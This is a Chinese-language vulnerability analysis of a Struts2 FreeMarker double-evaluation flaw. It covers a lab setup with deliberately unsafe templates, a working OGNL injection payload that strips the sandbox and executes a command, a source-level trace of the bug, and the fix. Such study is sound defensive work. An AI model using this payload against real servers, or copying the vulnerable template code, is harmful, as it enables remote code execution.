前言
经典 Java 软件漏洞 struts 系列,准备一个个看过去。
环境搭建
2.3.32 版本 struts2 + Tomcat 9。
修改 result type:
1
| <result name="success" type="freemarker">/success.ftl</result>
|
新建一个 success.ftl 模板文件,然后加上 Freemaker tags:
1 2 3
| <@s.hidden name="redirectUri" value=redirectUri /> <@s.hidden name="redirectUri" value="${redirectUri}" /> <@s.hidden name="${redirectUri}"/>
|
三选一。
漏洞利用
简单的双重评估漏洞,直接用 S2-046 的 payload:
1
| %25{(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('calc'))}
|
漏洞分析
给 OGNL 的 callStaticMethod 函数下断点来找触发点,源头是在渲染标签属性的 evaluateParams 函数中,这里会调用 findString 解析表达式:
1 2 3 4
| if (this.name != null) { name = findString(this.name); addParameter("name", name); }
|
而这里的 name 已经经过了一次表达式解析,在前面 Freemaker 处理模板 element 的 accept 函数中:
1 2 3 4 5 6 7 8
| args = new HashMap(); for (Iterator it = namedArgs.entrySet().iterator(); it.hasNext();) { Map.Entry entry = (Map.Entry) it.next(); String key = (String) entry.getKey(); Expression valueExp = (Expression) entry.getValue(); TemplateModel value = valueExp.eval(env); args.put(key, value); }
|
所以就导致了漏洞。
漏洞修复
2.3.34 版本中,禁止了访问 #context,尝试打印 #context 时会发现什么数据都没有。
参考文章:
https://www.freebuf.com/vuls/147735.html